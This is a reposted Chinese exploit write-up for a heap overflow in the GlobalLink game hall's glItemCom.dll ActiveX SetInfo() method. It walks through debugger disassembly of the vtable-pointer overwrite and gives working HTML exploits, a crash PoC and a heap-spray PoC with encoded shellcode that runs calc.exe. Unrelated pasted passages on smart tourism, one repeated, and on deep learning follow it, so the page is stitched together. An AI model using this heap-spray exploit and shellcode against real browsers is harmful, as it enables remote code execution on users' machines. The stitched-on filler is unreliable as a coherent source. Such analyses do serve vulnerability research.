[Exploit]联众游戏大厅GlobalLink glItemCom.dll SetInfo()利用分析

影响版本:
联众游戏大厅2.7.0.8 (2007年8月16日发布)

未受影响版本:
联众还没补 :-)

成因:
联众的程序员过于信任用户输入,未检测用户提供的字符串长度,导致对象虚函数表指针被覆盖,从而获得系统控制权.

分析:
IE先创建obj_vuln对象(为什么要在SetInfo()执行前做这个,没进行分析),位置恰好在obj_now对象下:
03803034 /$ 56 PUSH ESI
03803035 |. 8BF1 MOV ESI,ECX
03803037 |. 6A 58 PUSH 58 ; 对象大小:58h,即88字节
03803039 |. 8366 10 00 AND DWORD PTR DS:[ESI+10],0
0380303D |. 8366 14 00 AND DWORD PTR DS:[ESI+14],0
03803041 |. 8366 18 00 AND DWORD PTR DS:[ESI+18],0
03803045 |. C706 C4048103 MOV DWORD PTR DS:[ESI],038104C4
0380304B |. E8 2C370000 CALL 0380677C ; 创建obj_vuln对象
03803050 |. 85C0 TEST EAX,EAX
03803052 |. 59 POP ECX
03803053 |. 74 0A JE SHORT 0380305F
03803055 |. 56 PUSH ESI
03803056 |. 8BC8 MOV ECX,EAX
03803058 |. E8 390D0000 CALL 03803D96 ; 初始化obj_vuln对象
0380305D |. EB 02 JMP SHORT 03803061
0380305F |> 33C0 XOR EAX,EAX
03803061 |> 6A 08 PUSH 8
03803063 |. 8946 08 MOV DWORD PTR DS:[ESI+8],EAX ; 保存
obj_vuln==>[ESI+8] 记住这个,后面要提到

然后进入SetInfo()流程:
03802F25 |> \56 PUSH ESI ; /EvilString <=== 嘿嘿~
03802F26 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
03802F29 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Arg7
03802F2C |. 8D48 14 LEA ECX,DWORD PTR DS:[EAX+14] ; |
03802F2F |. FF75 20 PUSH DWORD PTR SS:[EBP+20] ; |Arg6
03802F32 |. FF75 1C PUSH DWORD PTR SS:[EBP+1C] ; |Arg5
03802F35 |. FF75 18 PUSH DWORD PTR SS:[EBP+18] ; |Arg4
03802F38 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |Arg3
03802F3B |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |Arg2
03802F3E |. FF75 F4 PUSH DWORD PTR SS:[EBP-C] ; |Arg1
03802F41 |. E8 7E010000 CALL 038030C4 ; \调用SetInfo()
F7跟进

跟进SetInfo(),会将EvilString填充到obj_now里面:
038030C4 /$ 55 PUSH EBP
038030C5 |. 8BEC MOV EBP,ESP
038030C7 |. 56 PUSH ESI
038030C8 |. 8BF1 MOV ESI,ECX
038030CA |. FF75 10 PUSH DWORD PTR SS:[EBP+10]
038030CD |. B9 90568103 MOV ECX,03815690
038030D2 |. FF75 0C PUSH DWORD PTR SS:[EBP+C]
038030D5 |. FF75 08 PUSH DWORD PTR SS:[EBP+8]
038030D8 |. E8 DB040000 CALL 038035B8
038030DD |. FF75 20 PUSH DWORD PTR SS:[EBP+20]
038030E0 |. 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C]
038030E3 |. 50 PUSH EAX
038030E4 |. E8 37350000 CALL 03806620
038030E9 |. FF75 24 PUSH DWORD PTR SS:[EBP+24] ; EvilString
038030EC |. 8D46 3C LEA EAX,DWORD PTR DS:[ESI+3C] ; obj_now+0x3C obj_new偏移60字节处
038030EF |. 50 PUSH EAX :
038030F0 |. E8 2B350000 CALL 03806620 ; EvilString复制到obj_now+0x3C <== 问题出在这里,没有检测EvilString的长度.
执行完SetInfo()后,看堆里的情况:
$ ==> 03823D80 038104C4 ?? <=== obj_now的开头
$+4 03823D84 03823D68 h=?
$+8 03823D88 03823DE0 ??
$+C 03823D8C 03823E48 H>?
$+10 03823D90 00000001 ...
$+14 03823D94 00000001 ...
$+18 03823D98 00000001 ...
$+1C 03823D9C 00000000 ... .
$+20 03823DA0 00000000 ... .
$+24 03823DA4 00000000 ... .
$+28 03823DA8 00000000 ... .
$+2C 03823DAC 00000000 ... .
$+30 03823DB0 00000000 ... .
$+34 03823DB4 00000000 ... .
$+38 03823DB8 00000000 ... .
$+3C 03823DBC 41414141 AAAA <=== EvilString 开头
$+40 03823DC0 41414141 AAAA
$+44 03823DC4 41414141 AAAA
$+48 03823DC8 41414141 AAAA
$+4C 03823DCC 41414141 AAAA
$+50 03823DD0 41414141 AAAA
$+54 03823DD4 41414141 AAAA <=== obj_now的尾部:从3Ch到58h,覆盖了28字节
$+58 03823DD8 41414141 AAAA // 还要填充8字节.才能到obj_vuln
$+5C 03823DDC 41414141 AAAA // 原因估计是堆分配粒度是16字节
$+60 03823DE0 0D0D0D0D ... . <=== obj_vuln的vmt_ptr(虚函数表指针)被覆盖!!!
当第2次调用SetInfo的时候,IE会先执行obj_vuln里的函数,但是obj_vuln的vmt_ptr已经被我们控制了:
0380309F /$ 56 PUSH ESI
038030A0 |. 8BF1 MOV ESI,ECX
038030A2 |. 8B4E 08 MOV ECX,DWORD PTR DS:[ESI+8] ; ECX: obj_vuln 还记得前面的[ESI+8]么?
038030A5 |. C706 C4048103 MOV DWORD PTR DS:[ESI],038104C4
038030AB |. 85C9 TEST ECX,ECX
038030AD |. 74 06 JE SHORT 038030B5
038030AF |. 8B01 MOV EAX,DWORD PTR DS:[ECX] ; [ECX]: vmt_ptr==>EAX
038030B1 |. 6A 01 PUSH 1
038030B3 |. FF10 CALL DWORD PTR DS:[EAX] ; <=== 控制!!!
038030B5 |> 8B4E 0C MOV ECX,DWORD PTR DS:[ESI+C]
038030B8 |. 5E POP ESI
038030B9 |. 85C9 TEST ECX,ECX
038030BB |. 74 06 JE SHORT 038030C3
038030BD |. 8B01 MOV EAX,DWORD PTR DS:[ECX]
038030BF |. 6A 01 PUSH 1
038030C1 |. FF10 CALL DWORD PTR DS:[EAX]
038030C3 \> C3 RETN

演示代码:
上面用测试所用的Crash PoC(需要刷新下IE):
<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0d\x0d\x0d\x0d";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>

利用heap spray的PoC(shellcode弹出cacl.exe):
<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");

var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" +
"%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +
"%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" +
"%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" +
"%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" +
"%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" +
"%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" +
"%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" +
"%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" +
"%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
 memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
 spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>

小结:
队长,别开枪,是带子最先fuzz联众的,不是我干的.
谢谢luoluo巨牛写的PoC.在ie6sp2和ie7下测试可行.
感谢ZhaoHuan提醒我HideOD的问题,否则我还在ollydbg调试堆的BAADF00D,FREEFREE里瞎转.
另外,这个纯属鸡肋,在默认ie安全级别需要用户交互才能执行.挂马的同学请无视.

转载于:https://www.cnblogs.com/allyesno/archive/2007/09/04/881723.html

智慧旅游解决方案利用云计算、物联网和移动互联网技术,通过便携终端设备,实现对旅游资源、经济、活动和旅游者信息的智能感知和发布。这种技术的应用旨在提升游客在旅游各个环节的体验,使他们能够轻松获取信息、规划行程、预订票务和安排食宿。智慧旅游平台为旅游管理部门、企业和游客提供服务,包括政策发布、行政管理、景区安全、游客流量统计分析、投诉反馈等。此外,平台还提供广告促销、库存信息、景点介绍、电子门票、社交互动等功能。 智慧旅游的建设规划得到了国家政策的支持,如《国家中长期科技发展规划纲要》和国务院的《关于加快发展旅游业的意见》,这些政策强调了旅游信息服务平台的建设和信息化服务的重要性。随着技术的成熟和政策环境的优化,智慧旅游的时机已经到来。 智慧旅游平台采用SaaS、PaaS和IaaS等云服务模式,提供简化的软件开发、测试和部署环境,实现资源的按需配置和快速部署。这些服务模式支持旅游企业、消费者和管理部门开发高性能、高可扩展的应用服务。平台还整合了旅游信息资源,提供了丰富的旅游产品创意平台和统一的旅游综合信息库。 智慧旅游融合应用面向游客和景区景点主管机构,提供无线城市门户、智能导游、智能门票及优惠券、景区综合安防、车辆及停车场管理等服务。这些应用通过物联网和云计算技术,实现了旅游服务的智能化、个性化和协同化,提高了旅游服务的自由度和信息共享的动态性。 智慧旅游的发展标志着旅游信息化建设的智能化和应用多样化趋势,多种技术和应用交叉渗透至旅游行业的各个方面,预示着全面的智慧旅游时代已经到来。智慧旅游不仅提升了游客的旅游体验,也为旅游管理和服务提供了高效的技术支持。
智慧旅游解决方案利用云计算、物联网和移动互联网技术,通过便携终端设备,实现对旅游资源、经济、活动和旅游者信息的智能感知和发布。这种技术的应用旨在提升游客在旅游各个环节的体验,使他们能够轻松获取信息、规划行程、预订票务和安排食宿。智慧旅游平台为旅游管理部门、企业和游客提供服务,包括政策发布、行政管理、景区安全、游客流量统计分析、投诉反馈等。此外,平台还提供广告促销、库存信息、景点介绍、电子门票、社交互动等功能。 智慧旅游的建设规划得到了国家政策的支持,如《国家中长期科技发展规划纲要》和国务院的《关于加快发展旅游业的意见》,这些政策强调了旅游信息服务平台的建设和信息化服务的重要性。随着技术的成熟和政策环境的优化,智慧旅游的时机已经到来。 智慧旅游平台采用SaaS、PaaS和IaaS等云服务模式,提供简化的软件开发、测试和部署环境,实现资源的按需配置和快速部署。这些服务模式支持旅游企业、消费者和管理部门开发高性能、高可扩展的应用服务。平台还整合了旅游信息资源,提供了丰富的旅游产品创意平台和统一的旅游综合信息库。 智慧旅游融合应用面向游客和景区景点主管机构,提供无线城市门户、智能导游、智能门票及优惠券、景区综合安防、车辆及停车场管理等服务。这些应用通过物联网和云计算技术,实现了旅游服务的智能化、个性化和协同化,提高了旅游服务的自由度和信息共享的动态性。 智慧旅游的发展标志着旅游信息化建设的智能化和应用多样化趋势,多种技术和应用交叉渗透至旅游行业的各个方面,预示着全面的智慧旅游时代已经到来。智慧旅游不仅提升了游客的旅游体验,也为旅游管理和服务提供了高效的技术支持。
深度学习是机器学习的一个子领域,它基于人工神经网络的研究,特别是利用多层次的神经网络来进行学习和模式识别。深度学习模型能够学习数据的高层次特征,这些特征对于图像和语音识别、自然语言处理、医学图像分析等应用至关重要。以下是深度学习的一些关键概念和组成部分: 1. **神经网络(Neural Networks)**:深度学习的基础是人工神经网络,它是由多个层组成的网络结构,包括输入层、隐藏层和输出层。每个层由多个神经元组成,神经元之间通过权重连接。 2. **前馈神经网络(Feedforward Neural Networks)**:这是最常见的神经网络类型,信息从输入层流向隐藏层,最终到达输出层。 3. **卷积神经网络(Convolutional Neural Networks, CNNs)**:这种网络特别适合处理具有网格结构的数据,如图像。它们使用卷积层来提取图像的特征。 4. **循环神经网络(Recurrent Neural Networks, RNNs)**:这种网络能够处理序列数据,如时间序列或自然语言,因为它们具有记忆功能,能够捕捉数据中的时间依赖性。 5. **长短期记忆网络(Long Short-Term Memory, LSTM)**:LSTM 是一种特殊的 RNN,它能够学习长期依赖关系,非常适合复杂的序列预测任务。 6. **生成对抗网络(Generative Adversarial Networks, GANs)**:由两个网络组成,一个生成器和一个判别器,它们相互竞争,生成器生成数据,判别器评估数据的真实性。 7. **深度学习框架**:如 TensorFlow、Keras、PyTorch 等,这些框架提供了构建、训练和部署深度学习模型的工具和库。 8. **激活函数(Activation Functions)**:如 ReLU、Sigmoid、Tanh 等,它们在神经网络中用于添加非线性,使得网络能够学习复杂的函数。 9. **损失函数(Loss Functions)**:用于评估模型的预测与真实值之间的差异,常见的损失函数包括均方误差(MSE)、交叉熵(Cross-Entropy)等。 10. **优化算法(Optimization Algorithms)**:如梯度下降(Gradient Descent)、随机梯度下降(SGD)、Adam 等,用于更新网络权重,以最小化损失函数。 11. **正则化(Regularization)**:技术如 Dropout、L1/L2 正则化等,用于防止模型过拟合。 12. **迁移学习(Transfer Learning)**:利用在一个任务上训练好的模型来提高另一个相关任务的性能。 深度学习在许多领域都取得了显著的成就,但它也面临着一些挑战,如对大量数据的依赖、模型的解释性差、计算资源消耗大等。研究人员正在不断探索新的方法来解决这些问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值